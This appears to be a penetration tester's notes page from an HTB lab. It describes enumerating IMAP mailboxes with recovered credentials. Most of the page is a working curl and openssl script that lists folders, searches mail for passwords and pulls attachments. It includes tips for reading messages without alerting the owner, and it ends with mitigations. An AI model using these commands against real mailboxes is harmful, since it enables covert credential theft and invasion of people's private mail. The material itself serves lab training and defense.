🧠 IMAP - Mailbox Enumeration

What is it?

  • Concept: Once a mail credential is recovered, the mailbox itself is the loot. IMAP (143, 993/imaps) keeps every message server-side and exposes a rich command set for listing folders, searching bodies server-side, and fetching individual messages. Curl speaks the imap:// and imaps:// schemes natively, so the whole mailbox can be read from the shell without touching a webmail UI or configuring a client.
  • Impact: Mailboxes are where humans put the credentials they were told not to put in a mailbox — handover notes, password resets, service account details, internal URLs. Reading one is routinely the pivot from “a low-value user” to “the admin password for the next application”.

How it works

  1. IMAP is a stateful, connection-oriented protocol: authenticate, SELECT a mailbox, then issue commands against it. Curl models this by mapping the URL path to the mailbox (imaps://host/INBOX) and passing any raw IMAP command through -X.
  2. SEARCH runs on the server. SEARCH TEXT "password" greps every message body remotely and returns only the matching UIDs — far faster than downloading the mailbox and grepping locally.
  3. FETCH <range> BODY[...] retrieves message parts. The plain BODY[] form sets the \Seen flag; BODY.PEEK[] is byte-identical but does not mark the message read, which is the difference between a quiet read and an alert to the mailbox owner.
  4. IMAP is chosen over POP3 for this because POP3 has no folder concept, no server-side search, and no non-destructive read — it was designed to download and delete. If both ports are open, IMAP is the one to enumerate.

Exploitation

Prerequisites

  • Valid mail credentials (recovered from a leaked document, or sprayed with (incomplete) Hydra against imaps://)
  • Reachable 143 or, preferably, 993

Attack Vectors

Reusable triage script — folders, then headers, then bodies, without ever marking a message read:

#!/bin/bash
CRED='user:password'
HOST=imaps://$TARGET_IP
 
# list folders
curl -k -u "$CRED" "$HOST"
 
# list message UIDs in INBOX
curl -k -u "$CRED" "$HOST/INBOX" -X 'SEARCH ALL'
 
# headers only — triage before pulling bodies
curl -k -u "$CRED" "$HOST/INBOX" -X 'FETCH 1:* BODY.PEEK[HEADER.FIELDS (FROM SUBJECT DATE)]'
 
# read one message without marking it read
curl -k -u "$CRED" "$HOST/INBOX" -X 'FETCH 1 BODY.PEEK[]'
 
# server-side search
curl -k -u "$CRED" "$HOST/INBOX" -X 'SEARCH TEXT "password"'
# Widen the search once INBOX is exhausted — the useful mail is often in Sent
for BOX in INBOX Sent Drafts Archive Trash Junk; do
  echo "== $BOX"
  curl -sk -u "$CRED" "$HOST/$BOX" -X 'SEARCH TEXT "password"'
done
 
# Other high-yield search terms
curl -sk -u "$CRED" "$HOST/INBOX" -X 'SEARCH OR OR TEXT "credential" TEXT "login" TEXT "reset"'
 
# Pull attachments — fetch the structure first, then the part you want
curl -sk -u "$CRED" "$HOST/INBOX" -X 'FETCH 3 BODYSTRUCTURE'
curl -sk -u "$CRED" "$HOST/INBOX" -X 'FETCH 3 BODY.PEEK[2]' | base64 -d > attachment.bin
# No curl on the box? Raw IMAP over openssl. Every command needs a tag.
openssl s_client -crlf -connect $TARGET_IP:993
a1 LOGIN user password
a2 LIST "" "*"
a3 SELECT INBOX
a4 SEARCH TEXT "password"
a5 FETCH 1 BODY.PEEK[]
a6 LOGOUT

Notes

  • BODY.PEEK[], not BODY[]. The plain form flips messages to read, which is visible to the real user and is the single most common way to burn an otherwise-quiet foothold.
  • -k is needed almost always: mail servers on CTF boxes carry self-signed certificates issued to the internal hostname.
  • Point at 993 (imaps://) rather than 143. Plain 143 usually advertises LOGINDISABLED until STARTTLS is negotiated, so a login attempt just fails confusingly.
  • SEARCH returns UIDs, not positions; FETCH 1 means the first message in the mailbox, which is not necessarily UID 1. Use curl ... -X 'UID FETCH <uid> BODY.PEEK[]' when acting on search output.
  • Check the Sent folder early. Received mail is what someone sent the user; sent mail is what the user handed to somebody else, and it is far more likely to contain a credential they typed out themselves.
  • No port 25 on the scan means no outbound delivery — worth noting, because it rules out phishing or XSS-to-another-user paths and confines the mail service to a read-only credential source.
  • The same credential very often works against the webmail front end (Roundcube) sitting on the same host; the IMAP path is simply faster and scriptable.

Mitigation

  • Fix: Do not transmit credentials over email. Where a handover genuinely requires one, issue it as a single-use token with a short expiry so a mailbox read later is worthless.
  • Enforce MFA on mail access and disable legacy plain-auth paths, which is what makes a sprayed password immediately usable.
  • Alert on anomalous IMAP activity — a full-mailbox FETCH or repeated SEARCH TEXT from a new address is a distinctive pattern.
  • Retire POP3/IMAP basic authentication in favour of OAuth-based access where the platform supports it.
FileCreated
HTB Machine - EnigmaSeptember 07, 2026

References: